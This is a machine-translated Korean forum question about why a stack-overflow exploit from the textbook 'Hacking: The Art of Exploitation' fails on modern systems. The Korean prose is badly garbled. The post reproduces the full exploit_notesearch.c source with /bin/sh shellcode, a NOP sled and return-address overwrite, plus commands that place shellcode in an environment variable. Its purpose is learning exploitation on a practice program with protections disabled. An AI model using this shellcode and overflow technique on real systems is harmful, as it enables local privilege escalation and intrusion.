왜 이 쉘 코드를 실행?

내가를 통해 작업 은 해킹의 착취 와 실행하로 내가 첫째가를 얻으려고 작동하는 것으로 알려진 악에서 실행하는 책을 통해 환경 변수입니다. 모든 프로그램 컴파일되었으로 -fno-stack-protector -zexecstack -no-pie -fno-pie.

실행 exploit_notesearch.c (이기는 하지만 아주 특정한 오프셋),나를 얻을 수 있었을 악용하 pop 쉘 이동하여 오프셋 argv[1]. 이 작품에서 현대 운영체제(과 보안 기능이 비활성화)뿐만 아니라 라이브 cd 포함되어 있습니다.

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

에 더 장에서,우리는 설정 쉘 코드하는 환경 변수를 시도하는 리디렉션 흐름을 장소를 스택에서는 쉘 코드 환경변수 설정을 통해 중간 앞에 추가된 NOP 썰매. 그러나,이 실행되지 않 이용에 현대 운영체제에 잘 작동에서 우분투 7.04 라이브와 함께 제공되는 CD 에는 책입니다. shellcode.bin 은 쉘 코드의 상단에 exploit_notesearch.c 파일과 실행 echo -en 와 리디렉션으로 파일입니다.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

여기에 무슨 일이 일어나고 있는지에 있는 변경 사전 운영체제 현? 이 있는 보호는 내가 모르고 있는 방에서 타 NOP 썰매하는 쉘 코드?

감사합니다.